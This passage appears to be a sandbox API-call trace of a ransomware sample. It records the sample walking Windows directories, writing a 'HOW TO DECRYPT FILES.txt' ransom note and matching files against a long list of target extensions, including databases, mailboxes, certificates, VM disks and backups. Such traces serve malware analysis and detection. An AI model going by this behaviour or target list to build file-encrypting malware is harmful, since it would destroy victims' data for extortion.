lstrcmpA (lpString1="..", lpString2="d42a48a3e73b472a80d0d44038af89b0") returned -1 [0112.597] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\*.*") returned="*.*" [0112.597] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\", lpString2="d42a48a3e73b472a80d0d44038af89b0" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0" [0112.597] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadeb0f55, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xadeb0f55, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xadeb0f55, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.597] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.597] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadeb0f55, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xadeb0f55, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xadeb0f55, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.597] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.597] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.597] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadb6b10f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xadb6b10f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xadc9bc11, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xcfaa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.597] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.597] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Design.ni.dll") returned -1 [0112.597] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Design.ni.dll") returned -1 [0112.597] lstrcmpiA (lpString1="", lpString2="System.Design.ni.dll") returned -1 [0112.597] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\*.*") returned="*.*" [0112.597] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\" [0112.597] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\") returned="" [0112.597] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\HOW TO DECRYPT FILES.txt" [0112.597] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.design\\d42a48a3e73b472a80d0d44038af89b0\\how to decrypt files.txt")) returned 0xffffffff [0112.598] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.design\\d42a48a3e73b472a80d0d44038af89b0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.599] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.600] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.600] CloseHandle (hObject=0x90) returned 1 [0112.600] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\", lpString2="System.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll" [0112.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.ems") returned 0 [0112.600] lstrlenA (lpString="*.ems") returned 5 [0112.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.db") returned 0 [0112.600] lstrlenA (lpString="*.db") returned 4 [0112.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.dbf") returned 0 [0112.600] lstrlenA (lpString="*.dbf") returned 5 [0112.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.myox") returned 0 [0112.600] lstrlenA (lpString="*.myox") returned 6 [0112.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.myo") returned 0 [0112.600] lstrlenA (lpString="*.myo") returned 5 [0112.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.qbw") returned 0 [0112.600] lstrlenA (lpString="*.qbw") returned 5 [0112.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.qbb") returned 0 [0112.600] lstrlenA (lpString="*.qbb") returned 5 [0112.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.qbm") returned 0 [0112.600] lstrlenA (lpString="*.qbm") returned 5 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.qbo") returned 0 [0112.601] lstrlenA (lpString="*.qbo") returned 5 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.qbx") returned 0 [0112.601] lstrlenA (lpString="*.qbx") returned 5 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.qba") returned 0 [0112.601] lstrlenA (lpString="*.qba") returned 5 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.qby") returned 0 [0112.601] lstrlenA (lpString="*.qby") returned 5 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.qbj") returned 0 [0112.601] lstrlenA (lpString="*.qbj") returned 5 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.ofx") returned 0 [0112.601] lstrlenA (lpString="*.ofx") returned 5 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.qif") returned 0 [0112.601] lstrlenA (lpString="*.qif") returned 5 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.mye") returned 0 [0112.601] lstrlenA (lpString="*.mye") returned 5 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.mbox") returned 0 [0112.601] lstrlenA (lpString="*.mbox") returned 6 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.eml") returned 0 [0112.601] lstrlenA (lpString="*.eml") returned 5 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.pst") returned 0 [0112.601] lstrlenA (lpString="*.pst") returned 5 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.ost") returned 0 [0112.601] lstrlenA (lpString="*.ost") returned 5 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.idx") returned 0 [0112.601] lstrlenA (lpString="*.idx") returned 5 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.dbx") returned 0 [0112.601] lstrlenA (lpString="*.dbx") returned 5 [0112.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.sql") returned 0 [0112.602] lstrlenA (lpString="*.sql") returned 5 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.mdb") returned 0 [0112.602] lstrlenA (lpString="*.mdb") returned 5 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.fdb") returned 0 [0112.602] lstrlenA (lpString="*.fdb") returned 5 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.wab") returned 0 [0112.602] lstrlenA (lpString="*.wab") returned 5 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.dat") returned 0 [0112.602] lstrlenA (lpString="*.dat") returned 5 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.txt") returned 0 [0112.602] lstrlenA (lpString="*.txt") returned 5 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.jpeg") returned 0 [0112.602] lstrlenA (lpString="*.jpeg") returned 6 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.jpg") returned 0 [0112.602] lstrlenA (lpString="*.jpg") returned 5 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.png") returned 0 [0112.602] lstrlenA (lpString="*.png") returned 5 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.php") returned 0 [0112.602] lstrlenA (lpString="*.php") returned 5 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.cs") returned 0 [0112.602] lstrlenA (lpString="*.cs") returned 4 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.cpp") returned 0 [0112.602] lstrlenA (lpString="*.cpp") returned 5 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.rar") returned 0 [0112.602] lstrlenA (lpString="*.rar") returned 5 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.zip") returned 0 [0112.602] lstrlenA (lpString="*.zip") returned 5 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.html") returned 0 [0112.602] lstrlenA (lpString="*.html") returned 6 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.htm") returned 0 [0112.602] lstrlenA (lpString="*.htm") returned 5 [0112.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.xlsx") returned 0 [0112.603] lstrlenA (lpString="*.xlsx") returned 6 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.xls") returned 0 [0112.603] lstrlenA (lpString="*.xls") returned 5 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.mp4") returned 0 [0112.603] lstrlenA (lpString="*.mp4") returned 5 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.ppt") returned 0 [0112.603] lstrlenA (lpString="*.ppt") returned 5 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.pptx") returned 0 [0112.603] lstrlenA (lpString="*.pptx") returned 6 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.doc") returned 0 [0112.603] lstrlenA (lpString="*.doc") returned 5 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.dot") returned 0 [0112.603] lstrlenA (lpString="*.dot") returned 5 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.docx") returned 0 [0112.603] lstrlenA (lpString="*.docx") returned 6 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.7z") returned 0 [0112.603] lstrlenA (lpString="*.7z") returned 4 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.tar") returned 0 [0112.603] lstrlenA (lpString="*.tar") returned 5 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.bz2") returned 0 [0112.603] lstrlenA (lpString="*.bz2") returned 5 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.gz") returned 0 [0112.603] lstrlenA (lpString="*.gz") returned 4 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.mkv") returned 0 [0112.603] lstrlenA (lpString="*.mkv") returned 5 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.eml") returned 0 [0112.603] lstrlenA (lpString="*.eml") returned 5 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.msg") returned 0 [0112.603] lstrlenA (lpString="*.msg") returned 5 [0112.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.edb") returned 0 [0112.603] lstrlenA (lpString="*.edb") returned 5 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.accdb") returned 0 [0112.604] lstrlenA (lpString="*.accdb") returned 7 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.odb") returned 0 [0112.604] lstrlenA (lpString="*.odb") returned 5 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.java") returned 0 [0112.604] lstrlenA (lpString="*.java") returned 6 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.asm") returned 0 [0112.604] lstrlenA (lpString="*.asm") returned 5 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.pfx") returned 0 [0112.604] lstrlenA (lpString="*.pfx") returned 5 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.pem") returned 0 [0112.604] lstrlenA (lpString="*.pem") returned 5 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.p12") returned 0 [0112.604] lstrlenA (lpString="*.p12") returned 5 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.gpg") returned 0 [0112.604] lstrlenA (lpString="*.gpg") returned 5 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.vsd") returned 0 [0112.604] lstrlenA (lpString="*.vsd") returned 5 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.odg") returned 0 [0112.604] lstrlenA (lpString="*.odg") returned 5 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.raw") returned 0 [0112.604] lstrlenA (lpString="*.raw") returned 5 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.nef") returned 0 [0112.604] lstrlenA (lpString="*.nef") returned 5 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.svg") returned 0 [0112.604] lstrlenA (lpString="*.svg") returned 5 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.psd") returned 0 [0112.604] lstrlenA (lpString="*.psd") returned 5 [0112.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.vmx") returned 0 [0112.605] lstrlenA (lpString="*.vmx") returned 5 [0112.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.vmdk") returned 0 [0112.605] lstrlenA (lpString="*.vmdk") returned 6 [0112.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.vdi") returned 0 [0112.605] lstrlenA (lpString="*.vdi") returned 5 [0112.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.lay6") returned 0 [0112.605] lstrlenA (lpString="*.lay6") returned 6 [0112.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.mpeg") returned 0 [0112.605] lstrlenA (lpString="*.mpeg") returned 6 [0112.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.djvu") returned 0 [0112.605] lstrlenA (lpString="*.djvu") returned 6 [0112.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.tiff") returned 0 [0112.605] lstrlenA (lpString="*.tiff") returned 6 [0112.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.backup") returned 0 [0112.605] lstrlenA (lpString="*.backup") returned 8 [0112.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.pdf") returned 0 [0112.605] lstrlenA (lpString="*.pdf") returned 5 [0112.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.cert") returned 0 [0112.605] lstrlenA (lpString="*.cert") returned 6 [0112.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.docm") returned 0 [0112.605] lstrlenA (lpString="*.docm") returned 6 [0112.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.xlsm") returned 0 [0112.605] lstrlenA (lpString="*.xlsm") returned 6 [0112.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.dwg") returned 0 [0112.605] lstrlenA (lpString="*.dwg") returned 5 [0112.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.nd") returned 0 [0112.606] lstrlenA (lpString="*.nd") returned 4 [0112.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.tlg") returned 0 [0112.606] lstrlenA (lpString="*.tlg") returned 5 [0112.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.lgb") returned 0 [0112.606] lstrlenA (lpString="*.lgb") returned 5 [0112.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.mov") returned 0 [0112.606] lstrlenA (lpString="*.mov") returned 5 [0112.606] PathMatchSpecA 